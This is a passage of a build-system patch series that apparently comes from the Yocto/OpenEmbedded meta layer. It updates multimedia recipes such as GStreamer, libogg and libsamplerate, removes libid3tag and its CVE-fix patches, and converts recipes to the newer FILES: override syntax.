+++ b/meta/recipes-multimedia/gstreamer/gstreamer1.0/run-ptest
@@ -0,0 +1,2 @@
+#!/usr/bin/env sh
+gnome-desktop-testing-runner gstreamer
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0_1.18.1.bb b/meta/recipes-multimedia/gstreamer/gstreamer1.0_1.18.1.bb
deleted file mode 100644
index d55b2871e7..0000000000
--- a/meta/recipes-multimedia/gstreamer/gstreamer1.0_1.18.1.bb
+++ /dev/null
@@ -1,70 +0,0 @@
-SUMMARY = "GStreamer 1.0 multimedia framework"
-DESCRIPTION = "GStreamer is a multimedia framework for encoding and decoding video and sound. \
-It supports a wide range of formats including mp3, ogg, avi, mpeg and quicktime."
-HOMEPAGE = "http://gstreamer.freedesktop.org/"
-BUGTRACKER = "https://bugzilla.gnome.org/enter_bug.cgi?product=Gstreamer"
-SECTION = "multimedia"
-LICENSE = "LGPLv2+"
-
-DEPENDS = "glib-2.0 glib-2.0-native libxml2 bison-native flex-native"
-
-inherit meson pkgconfig gettext upstream-version-is-even gobject-introspection
-
-LIC_FILES_CHKSUM = "file://COPYING;md5=6762ed442b3822387a51c92d928ead0d \
- file://gst/gst.h;beginline=1;endline=21;md5=e059138481205ee2c6fc1c079c016d0d"
-
-S = "${WORKDIR}/gstreamer-${PV}"
-
-SRC_URI = "https://gstreamer.freedesktop.org/src/gstreamer/gstreamer-${PV}.tar.xz \
- file://0001-gst-gstpluginloader.c-when-env-var-is-set-do-not-fal.patch \
- file://0002-Remove-unused-valgrind-detection.patch \
- file://0003-meson-Add-option-for-installed-tests.patch \
- file://0001-gst_private.h-increse-padding-in-struct-_GstClockEnt.patch \
- "
-SRC_URI[sha256sum] = "79df8de21f284a105a5c1568527f8c559c583c85c0f2bd7bdb5b0372b8beecba"
-
-PACKAGECONFIG ??= "${@bb.utils.contains('PTEST_ENABLED', '1', 'tests', '', d)} \
- check \
- debug \
- tools"
-
-PACKAGECONFIG[debug] = "-Dgst_debug=true,-Dgst_debug=false"
-PACKAGECONFIG[tracer-hooks] = "-Dtracer_hooks=true,-Dtracer_hooks=false"
-PACKAGECONFIG[check] = "-Dcheck=enabled,-Dcheck=disabled"
-PACKAGECONFIG[tests] = "-Dtests=enabled -Dinstalled-tests=true,-Dtests=disabled -Dinstalled-tests=false"
-PACKAGECONFIG[unwind] = "-Dlibunwind=enabled,-Dlibunwind=disabled,libunwind"
-PACKAGECONFIG[dw] = "-Dlibdw=enabled,-Dlibdw=disabled,elfutils"
-PACKAGECONFIG[bash-completion] = "-Dbash-completion=enabled,-Dbash-completion=disabled,bash-completion"
-PACKAGECONFIG[tools] = "-Dtools=enabled,-Dtools=disabled"
-PACKAGECONFIG[setcap] = ",,libcap libcap-native"
-
-# TODO: put this in a gettext.bbclass patch
-def gettext_oemeson(d):
- if d.getVar('USE_NLS') == 'no':
- return '-Dnls=disabled'
- # Remove the NLS bits if USE_NLS is no or INHIBIT_DEFAULT_DEPS is set
- if d.getVar('INHIBIT_DEFAULT_DEPS') and not oe.utils.inherits(d, 'cross-canadian'):
- return '-Dnls=disabled'
- return '-Dnls=enabled'
-
-EXTRA_OEMESON += " \
- -Ddoc=disabled \
- -Dexamples=disabled \
- -Ddbghelp=disabled \
- ${@gettext_oemeson(d)} \
-"
-
-GIR_MESON_ENABLE_FLAG = "enabled"
-GIR_MESON_DISABLE_FLAG = "disabled"
-
-PACKAGES += "${PN}-bash-completion"
-
-# Add the core element plugins to the main package
-FILES_${PN} += "${libdir}/gstreamer-1.0/*.so"
-FILES_${PN}-dev += "${libdir}/gstreamer-1.0/*.a ${libdir}/gstreamer-1.0/include"
-FILES_${PN}-bash-completion += "${datadir}/bash-completion/completions/ ${datadir}/bash-completion/helpers/gst*"
-FILES_${PN}-dbg += "${datadir}/gdb ${datadir}/gstreamer-1.0/gdb"
-
-CVE_PRODUCT = "gstreamer"
-
-require gstreamer1.0-ptest.inc
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0_1.18.5.bb b/meta/recipes-multimedia/gstreamer/gstreamer1.0_1.18.5.bb
new file mode 100644
index 0000000000..0d82dd338c
--- /dev/null
+++ b/meta/recipes-multimedia/gstreamer/gstreamer1.0_1.18.5.bb
@@ -0,0 +1,75 @@
+SUMMARY = "GStreamer 1.0 multimedia framework"
+DESCRIPTION = "GStreamer is a multimedia framework for encoding and decoding video and sound. \
+It supports a wide range of formats including mp3, ogg, avi, mpeg and quicktime."
+HOMEPAGE = "http://gstreamer.freedesktop.org/"
+BUGTRACKER = "https://bugzilla.gnome.org/enter_bug.cgi?product=Gstreamer"
+SECTION = "multimedia"
+LICENSE = "LGPLv2+"
+
+DEPENDS = "glib-2.0 glib-2.0-native libxml2 bison-native flex-native"
+
+inherit meson pkgconfig gettext upstream-version-is-even gobject-introspection ptest-gnome
+
+LIC_FILES_CHKSUM = "file://COPYING;md5=6762ed442b3822387a51c92d928ead0d \
+ file://gst/gst.h;beginline=1;endline=21;md5=e059138481205ee2c6fc1c079c016d0d"
+
+S = "${WORKDIR}/gstreamer-${PV}"
+
+SRC_URI = "https://gstreamer.freedesktop.org/src/gstreamer/gstreamer-${PV}.tar.xz \
+ file://run-ptest \
+ file://0001-gst-gstpluginloader.c-when-env-var-is-set-do-not-fal.patch \
+ file://0002-Remove-unused-valgrind-detection.patch \
+ file://0003-tests-seek-Don-t-use-too-strict-timeout-for-validati.patch \
+ file://0004-tests-respect-the-idententaion-used-in-meson.patch \
+ file://0005-tests-add-support-for-install-the-tests.patch \
+ file://0006-tests-use-a-dictionaries-for-environment.patch \
+ file://0007-tests-install-the-environment-for-installed_tests.patch \
+ "
+SRC_URI[sha256sum] = "55862232a63459bbf56abebde3085ca9aec211b478e891dacea4d6df8cafe80a"
+
+PACKAGECONFIG ??= "${@bb.utils.contains('PTEST_ENABLED', '1', 'tests', '', d)} \
+ check \
+ debug \
+ tools"
+
+PACKAGECONFIG[debug] = "-Dgst_debug=true,-Dgst_debug=false"
+PACKAGECONFIG[tracer-hooks] = "-Dtracer_hooks=true,-Dtracer_hooks=false"
+PACKAGECONFIG[coretracers] = "-Dcoretracers=enabled,-Dcoretracers=disabled"
+PACKAGECONFIG[check] = "-Dcheck=enabled,-Dcheck=disabled"
+PACKAGECONFIG[tests] = "-Dtests=enabled -Dinstalled-tests=true,-Dtests=disabled -Dinstalled-tests=false"
+PACKAGECONFIG[unwind] = "-Dlibunwind=enabled,-Dlibunwind=disabled,libunwind"
+PACKAGECONFIG[dw] = "-Dlibdw=enabled,-Dlibdw=disabled,elfutils"
+PACKAGECONFIG[bash-completion] = "-Dbash-completion=enabled,-Dbash-completion=disabled,bash-completion"
+PACKAGECONFIG[tools] = "-Dtools=enabled,-Dtools=disabled"
+PACKAGECONFIG[setcap] = "-Dptp-helper-permissions=capabilities,,libcap libcap-native"
+
+# TODO: put this in a gettext.bbclass patch
+def gettext_oemeson(d):
+ if d.getVar('USE_NLS') == 'no':
+ return '-Dnls=disabled'
+ # Remove the NLS bits if USE_NLS is no or INHIBIT_DEFAULT_DEPS is set
+ if d.getVar('INHIBIT_DEFAULT_DEPS') and not oe.utils.inherits(d, 'cross-canadian'):
+ return '-Dnls=disabled'
+ return '-Dnls=enabled'
+
+EXTRA_OEMESON += " \
+ -Ddoc=disabled \
+ -Dexamples=disabled \
+ -Ddbghelp=disabled \
+ ${@gettext_oemeson(d)} \
+"
+
+GIR_MESON_ENABLE_FLAG = "enabled"
+GIR_MESON_DISABLE_FLAG = "disabled"
+
+PACKAGES += "${PN}-bash-completion"
+
+# Add the core element plugins to the main package
+FILES:${PN} += "${libdir}/gstreamer-1.0/*.so"
+FILES:${PN}-dev += "${libdir}/gstreamer-1.0/*.a ${libdir}/gstreamer-1.0/include"
+FILES:${PN}-bash-completion += "${datadir}/bash-completion/completions/ ${datadir}/bash-completion/helpers/gst*"
+FILES:${PN}-dbg += "${datadir}/gdb ${datadir}/gstreamer-1.0/gdb"
+
+CVE_PRODUCT = "gstreamer"
+
+PTEST_BUILD_HOST_FILES = ""
diff --git a/meta/recipes-multimedia/lame/lame_3.100.bb b/meta/recipes-multimedia/lame/lame_3.100.bb
index 7f8996fb52..4927c9f2b3 100644
--- a/meta/recipes-multimedia/lame/lame_3.100.bb
+++ b/meta/recipes-multimedia/lame/lame_3.100.bb
@@ -1,5 +1,6 @@
SUMMARY = "High quality MP3 audio encoder"
-HOMEPAGE = "http://lame.sourceforge.net/"
+DESCRIPTION = "LAME is an educational tool to be used for learning about MP3 encoding."
+HOMEPAGE = "https://lame.sourceforge.io/"
BUGTRACKER = "http://sourceforge.net/tracker/?group_id=290&atid=100290"
SECTION = "console/utils"
LICENSE = "LGPLv2+"
@@ -19,7 +20,7 @@ SRC_URI[sha256sum] = "ddfe36cab873794038ae2c1210557ad34857a4b6bdc515785d1da9e175
inherit autotools pkgconfig
PACKAGES += "libmp3lame libmp3lame-dev"
-FILES_${PN} = "${bindir}/lame"
-FILES_libmp3lame = "${libdir}/libmp3lame.so.*"
-FILES_libmp3lame-dev = "${includedir} ${libdir}/*"
-FILES_${PN}-dev = ""
+FILES:${PN} = "${bindir}/lame"
+FILES:libmp3lame = "${libdir}/libmp3lame.so.*"
+FILES:libmp3lame-dev = "${includedir} ${libdir}/*"
+FILES:${PN}-dev = ""
diff --git a/meta/recipes-multimedia/liba52/liba52_0.7.4.bb b/meta/recipes-multimedia/liba52/liba52_0.7.4.bb
index 8ff8889b60..ea16270cf8 100644
--- a/meta/recipes-multimedia/liba52/liba52_0.7.4.bb
+++ b/meta/recipes-multimedia/liba52/liba52_0.7.4.bb
@@ -1,4 +1,7 @@
SUMMARY = "ATSC A/52 surround sound stream decoder"
+DESCRIPTION = "Library for decoding ATSC A/52 streams. The A/52 standard \
+is used in a variety of applications, including digital television \
+and DVD. It is also known as AC-3."
HOMEPAGE = "http://liba52.sourceforge.net/"
LICENSE = "GPLv2+"
LIC_FILES_CHKSUM = "file://COPYING;md5=0636e73ff0215e8d672dc4c32c317bb3 \
@@ -22,5 +25,5 @@ EXTRA_OECONF = " --enable-shared "
PACKAGES =+ "a52dec a52dec-doc"
-FILES_a52dec = " ${bindir}/* "
-FILES_a52dec-doc = " ${mandir}/man1/* "
+FILES:a52dec = " ${bindir}/* "
+FILES:a52dec-doc = " ${mandir}/man1/* "
diff --git a/meta/recipes-multimedia/libid3tag/libid3tag/0001-Fix-gperf-3.1-incompatibility.patch b/meta/recipes-multimedia/libid3tag/libid3tag/0001-Fix-gperf-3.1-incompatibility.patch
deleted file mode 100644
index 54f49f6f23..0000000000
--- a/meta/recipes-multimedia/libid3tag/libid3tag/0001-Fix-gperf-3.1-incompatibility.patch
+++ /dev/null
@@ -1,40 +0,0 @@
-From 91fcf66b9182c75cd2b96d88991d5a1c6307d4b4 Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Wed, 2 Aug 2017 16:27:52 +0300
-Subject: [PATCH] Fix gperf 3.1 incompatibility.
-
-Upstream-Status: Pending
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
----
- compat.h | 2 +-
- frametype.h | 2 +-
- 2 files changed, 2 insertions(+), 2 deletions(-)
-
-diff --git a/compat.h b/compat.h
-index 8af71ec..b3d80d9 100644
---- a/compat.h
-+++ b/compat.h
-@@ -34,7 +34,7 @@ struct id3_compat {
- };
-
- struct id3_compat const *id3_compat_lookup(register char const *,
-- register unsigned int);
-+ register size_t);
-
- int id3_compat_fixup(struct id3_tag *);
-
-diff --git a/frametype.h b/frametype.h
-index dd064b2..b5b7593 100644
---- a/frametype.h
-+++ b/frametype.h
-@@ -37,6 +37,6 @@ extern struct id3_frametype const id3_frametype_unknown;
- extern struct id3_frametype const id3_frametype_obsolete;
-
- struct id3_frametype const *id3_frametype_lookup(register char const *,
-- register unsigned int);
-+ register size_t);
-
- # endif
---
-2.13.2
-
diff --git a/meta/recipes-multimedia/libid3tag/libid3tag/10_utf16.patch b/meta/recipes-multimedia/libid3tag/libid3tag/10_utf16.patch
deleted file mode 100644
index 10e089018c..0000000000
--- a/meta/recipes-multimedia/libid3tag/libid3tag/10_utf16.patch
+++ /dev/null
@@ -1,34 +0,0 @@
-libid3tag: patch for CVE-2004-2779
-
-The patch comes from
-https://sources.debian.org/patches/libid3tag/0.15.1b-13/10_utf16.dpatch
-
-Upstream-Status: Pending
-
-CVE: CVE-2004-2779
-CVE: CVE-2017-11551
-
-Signed-off-by: Changqing Li <changqing.li@windriver.com>
-
-diff -urNad libid3tag-0.15.1b/utf16.c /tmp/dpep.tKvO7a/libid3tag-0.15.1b/utf16.c
---- libid3tag-0.15.1b/utf16.c 2006-01-13 15:26:29.000000000 +0100
-+++ /tmp/dpep.tKvO7a/libid3tag-0.15.1b/utf16.c 2006-01-13 15:27:19.000000000 +0100
-@@ -282,5 +282,18 @@
-
- free(utf16);
-
-+ if (end == *ptr && length % 2 != 0)
-+ {
-+ /* We were called with a bogus length. It should always
-+ * be an even number. We can deal with this in a few ways:
-+ * - Always give an error.
-+ * - Try and parse as much as we can and
-+ * - return an error if we're called again when we
-+ * already tried to parse everything we can.
-+ * - tell that we parsed it, which is what we do here.
-+ */
-+ (*ptr)++;
-+ }
-+
- return ucs4;
- }
diff --git a/meta/recipes-multimedia/libid3tag/libid3tag/addpkgconfig.patch b/meta/recipes-multimedia/libid3tag/libid3tag/addpkgconfig.patch
deleted file mode 100644
index 38d40c3632..0000000000
--- a/meta/recipes-multimedia/libid3tag/libid3tag/addpkgconfig.patch
+++ /dev/null
@@ -1,43 +0,0 @@
-Upstream-Status: Inappropriate [configuration]
-
-Index: libid3tag-0.15.1b/Makefile.am
-===================================================================
---- libid3tag-0.15.1b.orig/Makefile.am 2009-07-29 09:29:20.000000000 +0100
-+++ libid3tag-0.15.1b/Makefile.am 2009-07-29 09:29:47.000000000 +0100
-@@ -27,6 +27,9 @@
- lib_LTLIBRARIES = libid3tag.la
- include_HEADERS = id3tag.h
-
-+pkgconfigdir = $(libdir)/pkgconfig
-+pkgconfig_DATA = id3tag.pc
-+
- ## From the libtool documentation on library versioning:
- ##
- ## CURRENT
-Index: libid3tag-0.15.1b/configure.ac
-===================================================================
---- libid3tag-0.15.1b.orig/configure.ac 2009-07-29 09:27:15.000000000 +0100
-+++ libid3tag-0.15.1b/configure.ac 2009-07-29 09:27:45.000000000 +0100
-@@ -201,5 +201,5 @@
- dnl AC_SUBST(LTLIBOBJS)
-
- AC_CONFIG_FILES([Makefile msvc++/Makefile \
-- libid3tag.list])
-+ libid3tag.list id3tag.pc])
- AC_OUTPUT
-Index: libid3tag-0.15.1b/id3tag.pc.in
-===================================================================
---- /dev/null 1970-01-01 00:00:00.000000000 +0000
-+++ libid3tag-0.15.1b/id3tag.pc.in 2009-07-29 09:29:10.000000000 +0100
-@@ -0,0 +1,11 @@
-+prefix=@prefix@
-+exec_prefix=@exec_prefix@
-+libdir=@libdir@
-+includedir=@includedir@
-+
-+Name: id3tag
-+Description: ID3 tag reading library
-+Requires:
-+Version: @VERSION@
-+Libs: -L${libdir} -lid3tag -lz
-+Cflags: -I${includedir}
diff --git a/meta/recipes-multimedia/libid3tag/libid3tag/obsolete_automake_macros.patch b/meta/recipes-multimedia/libid3tag/libid3tag/obsolete_automake_macros.patch
deleted file mode 100644
index 2845fb1d3a..0000000000
--- a/meta/recipes-multimedia/libid3tag/libid3tag/obsolete_automake_macros.patch
+++ /dev/null
@@ -1,15 +0,0 @@
-Upstream-Status: Submitted [https://sourceforge.net/tracker/?func=detail&aid=3599280&group_id=12349&atid=112349]
-
-Signed-off-by: Marko Lindqvist <cazfi74@gmail.com>
-diff -Nurd libid3tag-0.15.1b/configure.ac libid3tag-0.15.1b/configure.ac
---- libid3tag-0.15.1b/configure.ac 2004-01-24 01:22:46.000000000 +0200
-+++ libid3tag-0.15.1b/configure.ac 2013-01-03 06:41:02.734835014 +0200
-@@ -28,7 +28,7 @@
-
--AM_INIT_AUTOMAKE
-+AM_INIT_AUTOMAKE([foreign])
-
--AM_CONFIG_HEADER([config.h])
-+AC_CONFIG_HEADERS([config.h])
-
- dnl System type.
diff --git a/meta/recipes-multimedia/libid3tag/libid3tag/unknown-encoding.patch b/meta/recipes-multimedia/libid3tag/libid3tag/unknown-encoding.patch
deleted file mode 100644
index f0867b5f01..0000000000
--- a/meta/recipes-multimedia/libid3tag/libid3tag/unknown-encoding.patch
+++ /dev/null
@@ -1,39 +0,0 @@
-In case of an unknown/invalid encoding, id3_parse_string() will
-return NULL, but the return value wasn't checked resulting
-in segfault in id3_ucs4_length(). This is the only place
-the return value wasn't checked.
-
-Patch taken from Debian:
-https://sources.debian.org/patches/libid3tag/0.15.1b-14/11_unknown_encoding.dpatch/
-
-CVE: CVE-2017-11550
-Upstream-Status: Pending
-Signed-off-by: Ross Burton <ross.burton@intel.com>
-
-diff -urNad libid3tag-0.15.1b~/compat.gperf libid3tag-0.15.1b/compat.gperf
---- libid3tag-0.15.1b~/compat.gperf 2004-01-23 09:41:32.000000000 +0000
-+++ libid3tag-0.15.1b/compat.gperf 2007-01-14 14:36:53.000000000 +0000
-@@ -236,6 +236,10 @@
-
- encoding = id3_parse_uint(&data, 1);
- string = id3_parse_string(&data, end - data, encoding, 0);
-+ if (!string)
-+ {
-+ continue;
-+ }
-
- if (id3_ucs4_length(string) < 4) {
- free(string);
-diff -urNad libid3tag-0.15.1b~/parse.c libid3tag-0.15.1b/parse.c
---- libid3tag-0.15.1b~/parse.c 2004-01-23 09:41:32.000000000 +0000
-+++ libid3tag-0.15.1b/parse.c 2007-01-14 14:37:34.000000000 +0000
-@@ -165,6 +165,9 @@
- case ID3_FIELD_TEXTENCODING_UTF_8:
- ucs4 = id3_utf8_deserialize(ptr, length);
- break;
-+ default:
-+ /* FIXME: Unknown encoding! Print warning? */
-+ return NULL;
- }
-
- if (ucs4 && !full) {
diff --git a/meta/recipes-multimedia/libid3tag/libid3tag_0.15.1b.bb b/meta/recipes-multimedia/libid3tag/libid3tag_0.15.1b.bb
deleted file mode 100644
index 0312a610c0..0000000000
--- a/meta/recipes-multimedia/libid3tag/libid3tag_0.15.1b.bb
+++ /dev/null
@@ -1,27 +0,0 @@
-SUMMARY = "Library for interacting with ID3 tags in MP3 files"
-HOMEPAGE = "http://sourceforge.net/projects/mad/"
-BUGTRACKER = "http://sourceforge.net/tracker/?group_id=12349&atid=112349"
-LICENSE = "GPLv2+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=94d55d512a9ba36caa9b7df079bae19f \
- file://COPYRIGHT;md5=5e6279efb87c26c6e5e7a68317a6a87a \
- file://version.h;beginline=1;endline=8;md5=86ac68b67f054b7afde9e149bbc3fe63"
-SECTION = "libs"
-DEPENDS = "zlib gperf-native"
-PR = "r7"
-
-SRC_URI = "${SOURCEFORGE_MIRROR}/mad/libid3tag-${PV}.tar.gz \
- file://addpkgconfig.patch \
- file://obsolete_automake_macros.patch \
- file://0001-Fix-gperf-3.1-incompatibility.patch \
- file://10_utf16.patch \
- file://unknown-encoding.patch \
- "
-UPSTREAM_CHECK_URI = "https://sourceforge.net/projects/mad/files/libid3tag/"
-UPSTREAM_CHECK_REGEX = "/projects/mad/files/libid3tag/(?P<pver>.*)/$"
-
-SRC_URI[md5sum] = "e5808ad997ba32c498803822078748c3"
-SRC_URI[sha256sum] = "63da4f6e7997278f8a3fef4c6a372d342f705051d1eeb6a46a86b03610e26151"
-
-S = "${WORKDIR}/libid3tag-${PV}"
-
-inherit autotools pkgconfig
diff --git a/meta/recipes-multimedia/libogg/libogg_1.3.4.bb b/meta/recipes-multimedia/libogg/libogg_1.3.4.bb
deleted file mode 100644
index c4004619b9..0000000000
--- a/meta/recipes-multimedia/libogg/libogg_1.3.4.bb
+++ /dev/null
@@ -1,17 +0,0 @@
-SUMMARY = "Ogg bitstream and framing libary"
-DESCRIPTION = "libogg is the bitstream and framing library \
-for the Ogg project. It provides functions which are \
-necessary to codec libraries like libvorbis."
-HOMEPAGE = "http://xiph.org/"
-BUGTRACKER = "https://trac.xiph.org/newticket"
-SECTION = "libs"
-LICENSE = "BSD-3-Clause"
-LIC_FILES_CHKSUM = "file://COPYING;md5=db1b7a668b2a6f47b2af88fb008ad555 \
- file://include/ogg/ogg.h;beginline=1;endline=11;md5=eda812856f13a3b1326eb8f020cc3b0b"
-
-SRC_URI = "http://downloads.xiph.org/releases/ogg/${BP}.tar.xz"
-
-SRC_URI[md5sum] = "eadef24aad6e3e8379ba0d14971fd64a"
-SRC_URI[sha256sum] = "c163bc12bc300c401b6aa35907ac682671ea376f13ae0969a220f7ddf71893fe"
-
-inherit autotools pkgconfig
diff --git a/meta/recipes-multimedia/libogg/libogg_1.3.5.bb b/meta/recipes-multimedia/libogg/libogg_1.3.5.bb
new file mode 100644
index 0000000000..b4f02e404c
--- /dev/null
+++ b/meta/recipes-multimedia/libogg/libogg_1.3.5.bb
@@ -0,0 +1,17 @@
+SUMMARY = "Ogg bitstream and framing libary"
+DESCRIPTION = "libogg is the bitstream and framing library \
+for the Ogg project. It provides functions which are \
+necessary to codec libraries like libvorbis."
+HOMEPAGE = "http://xiph.org/"
+BUGTRACKER = "https://trac.xiph.org/newticket"
+SECTION = "libs"
+LICENSE = "BSD-3-Clause"
+LIC_FILES_CHKSUM = "file://COPYING;md5=db1b7a668b2a6f47b2af88fb008ad555 \
+ file://include/ogg/ogg.h;beginline=1;endline=11;md5=eda812856f13a3b1326eb8f020cc3b0b"
+
+SRC_URI = "http://downloads.xiph.org/releases/ogg/${BP}.tar.xz"
+
+SRC_URI[md5sum] = "3178c98341559657a15b185bf5d700a5"
+SRC_URI[sha256sum] = "c4d91be36fc8e54deae7575241e03f4211eb102afb3fc0775fbbc1b740016705"
+
+inherit autotools pkgconfig
diff --git a/meta/recipes-multimedia/libomxil/libomxil_0.9.3.bb b/meta/recipes-multimedia/libomxil/libomxil_0.9.3.bb
index 2061c280e4..864d6bbeea 100644
--- a/meta/recipes-multimedia/libomxil/libomxil_0.9.3.bb
+++ b/meta/recipes-multimedia/libomxil/libomxil_0.9.3.bb
@@ -4,7 +4,7 @@ DESCRIPTION = "Bellagio is an opensource implementation of the Khronos OpenMAX \
HOMEPAGE = "http://omxil.sourceforge.net/"
LICENSE = "LGPLv2.1+"
-LICENSE_FLAGS = "commercial"
+LICENSE_FLAGS = "${@bb.utils.contains('PACKAGECONFIG', 'amr', 'commercial', '', d)}"
LIC_FILES_CHKSUM = "file://COPYING;md5=ae6f0f4dbc7ac193b50f323a6ae191cb \
file://src/omxcore.h;beginline=1;endline=27;md5=806b1e5566c06486fe8e42b461e03a90"
@@ -28,14 +28,18 @@ PROVIDES += "virtual/libomxil"
CFLAGS += "-fcommon"
+PACKAGECONFIG ??= ""
+
+PACKAGECONFIG[amr] = "--enable-amr,,"
+
#
# The .so files under ${libdir}/bellagio are not intended to be versioned and symlinked.
# Make sure they get packaged in the main package.
#
-FILES_${PN} += "${libdir}/bellagio/*.so \
+FILES:${PN} += "${libdir}/bellagio/*.so \
${libdir}/omxloaders/*${SOLIBS}"
-FILES_${PN}-staticdev += "${libdir}/bellagio/*.a \
+FILES:${PN}-staticdev += "${libdir}/bellagio/*.a \
${libdir}/omxloaders/*.a"
-FILES_${PN}-dev += "${libdir}/bellagio/*.la \
+FILES:${PN}-dev += "${libdir}/bellagio/*.la \
${libdir}/omxloaders/*.la \
${libdir}/omxloaders/*${SOLIBSDEV}"
diff --git a/meta/recipes-multimedia/libpng/libpng_1.6.37.bb b/meta/recipes-multimedia/libpng/libpng_1.6.37.bb
index edb2ac6146..7791b0eecf 100644
--- a/meta/recipes-multimedia/libpng/libpng_1.6.37.bb
+++ b/meta/recipes-multimedia/libpng/libpng_1.6.37.bb
@@ -1,4 +1,7 @@
SUMMARY = "PNG image format decoding library"
+DESCRIPTION = "An open source project to develop and maintain the reference \
+library for use in applications that read, create, and manipulate PNG \
+(Portable Network Graphics) raster image files. "
HOMEPAGE = "http://www.libpng.org/"
SECTION = "libs"
LICENSE = "Libpng"
@@ -20,11 +23,11 @@ BINCONFIG = "${bindir}/libpng-config ${bindir}/libpng16-config"
inherit autotools binconfig-disabled pkgconfig
# Work around missing symbols
-EXTRA_OECONF_append_class-target = " ${@bb.utils.contains("TUNE_FEATURES", "neon", "--enable-arm-neon=on", "--enable-arm-neon=off", d)}"
+EXTRA_OECONF:append:class-target = " ${@bb.utils.contains("TUNE_FEATURES", "neon", "--enable-arm-neon=on", "--enable-arm-neon=off", d)}"
PACKAGES =+ "${PN}-tools"
-FILES_${PN}-tools = "${bindir}/png-fix-itxt ${bindir}/pngfix ${bindir}/pngcp"
+FILES:${PN}-tools = "${bindir}/png-fix-itxt ${bindir}/pngfix ${bindir}/pngcp"
BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-multimedia/libsamplerate/libsamplerate0/0001-configure.ac-improve-alsa-handling.patch b/meta/recipes-multimedia/libsamplerate/libsamplerate0/0001-configure.ac-improve-alsa-handling.patch
deleted file mode 100644
index d19b514e6b..0000000000
--- a/meta/recipes-multimedia/libsamplerate/libsamplerate0/0001-configure.ac-improve-alsa-handling.patch
+++ /dev/null
@@ -1,62 +0,0 @@
-From 957ebce3837588f71016e37ffaf9aad0a9d41cec Mon Sep 17 00:00:00 2001
-From: Tanu Kaskinen <tanuk@iki.fi>
-Date: Fri, 23 Sep 2016 12:02:06 +0300
-Subject: [PATCH] configure.ac: improve alsa handling
-
-Three improvements:
-
-1) "--enable-alsa" or "--disable-alsa" caused a warning about an
-unsupported configure option, because AC_ARG_ENABLE was not used.
-
-2) If alsa was disabled, the "Have ALSA" item in the summary would print
-an empty string instead of "no".
-
-3) If "--enable-alsa" was passed to configure, but the headers were not
-found, configure would still succeed (with alsa disabled). It's better
-to fail and abort configure if a feature that was explicitly requested
-can't be enabled.
-
-Upstream-Status: Submitted [sent to src@mega-nerd.com]
-
-Signed-off-by: Tanu Kaskinen <tanuk@iki.fi>
----
- configure.ac | 9 ++++++++-
- 1 file changed, 8 insertions(+), 1 deletion(-)
-
-diff --git a/configure.ac b/configure.ac
-index 474c6ab..bad597e 100644
---- a/configure.ac
-+++ b/configure.ac
-@@ -101,6 +101,9 @@ AC_ARG_ENABLE(cpu-clip,
- AC_HELP_STRING([--disable-cpu-clip], [disable tricky cpu specific clipper]),
- ac_arg_cpu_clip="N", ac_arg_cpu_clip="Y")
-
-+AC_ARG_ENABLE(alsa,
-+ AC_HELP_STRING([--disable-alsa], [disable ALSA support in the varispeed-play example program]))
-+
- #====================================================================================
- # Check types and their sizes.
-
-@@ -194,6 +197,10 @@ if test x$enable_alsa != xno ; then
- if test x$ac_cv_header_alsa_asoundlib_h = xyes ; then
- ALSA_LIBS="-lasound"
- enable_alsa=yes
-+ elif test x$enable_alsa = xyes ; then
-+ AC_MSG_ERROR(["ALSA headers not found"])
-+ else
-+ enable_alsa=no
- fi
- fi
-
-@@ -340,7 +347,7 @@ AC_MSG_RESULT([
- Have FFTW : ................... ${ac_cv_fftw3}])
-
- AC_MSG_RESULT([ Have libsndfile : ............. ${ac_cv_sndfile}])
--AC_MSG_RESULT([ Have ALSA : ................... ${ac_cv_header_alsa_asoundlib_h}
-+AC_MSG_RESULT([ Have ALSA : ................... ${enable_alsa}
- ])
-
- AC_MSG_RESULT([ Installation directories :
---
-2.9.3
-
diff --git a/meta/recipes-multimedia/libsamplerate/libsamplerate0_0.1.9.bb b/meta/recipes-multimedia/libsamplerate/libsamplerate0_0.1.9.bb
deleted file mode 100644
index ae08189441..0000000000
--- a/meta/recipes-multimedia/libsamplerate/libsamplerate0_0.1.9.bb
+++ /dev/null
@@ -1,28 +0,0 @@
-SUMMARY = "Audio Sample Rate Conversion library"
-HOMEPAGE = "http://www.mega-nerd.com/SRC/"
-SECTION = "libs"
-LICENSE = "BSD-2-Clause"
-LIC_FILES_CHKSUM = "file://COPYING;md5=336d6faf40fb600bafb0061f4052f1f4 \
- file://src/samplerate.c;beginline=1;endline=7;md5=5b6982a8c2811c7312c13cccbf55f55e"
-DEPENDS = "libsndfile1"
-PR = "r1"
-
-SRC_URI = "http://www.mega-nerd.com/SRC/libsamplerate-${PV}.tar.gz \
- file://0001-configure.ac-improve-alsa-handling.patch \
-"
-
-SRC_URI[md5sum] = "2b78ae9fe63b36b9fbb6267fad93f259"
-SRC_URI[sha256sum] = "0a7eb168e2f21353fb6d84da152e4512126f7dc48ccb0be80578c565413444c1"
-
-CVE_PRODUCT = "libsamplerate"
-
-UPSTREAM_CHECK_URI = "http://www.mega-nerd.com/SRC/download.html"
-
-S = "${WORKDIR}/libsamplerate-${PV}"
-
-inherit autotools pkgconfig
-
-# FFTW and ALSA are only used in tests and examples, so they don't affect
-# normal builds. It should be safe to ignore these, but explicitly disabling
-# them adds some extra certainty that builds are deterministic.
-EXTRA_OECONF = "--disable-fftw --disable-alsa"
diff --git a/meta/recipes-multimedia/libsamplerate/libsamplerate0_0.2.2.bb b/meta/recipes-multimedia/libsamplerate/libsamplerate0_0.2.2.bb
new file mode 100644
index 0000000000..ed2b6437dd
--- /dev/null
+++ b/meta/recipes-multimedia/libsamplerate/libsamplerate0_0.2.2.bb
@@ -0,0 +1,26 @@
+SUMMARY = "Audio Sample Rate Conversion library"
+DESCRIPTION = "Also known as Secret Rabbit Code - a library for performing sample rate conversion of audio data."
+HOMEPAGE = "https://libsndfile.github.io/libsamplerate/"
+SECTION = "libs"
+LICENSE = "BSD-2-Clause"
+LIC_FILES_CHKSUM = "file://COPYING;md5=336d6faf40fb600bafb0061f4052f1f4 \
+ file://src/samplerate.c;beginline=1;endline=7;md5=7a4238289dc36bfb70968ccaa5bd0d4f"
+DEPENDS = "libsndfile1"
+
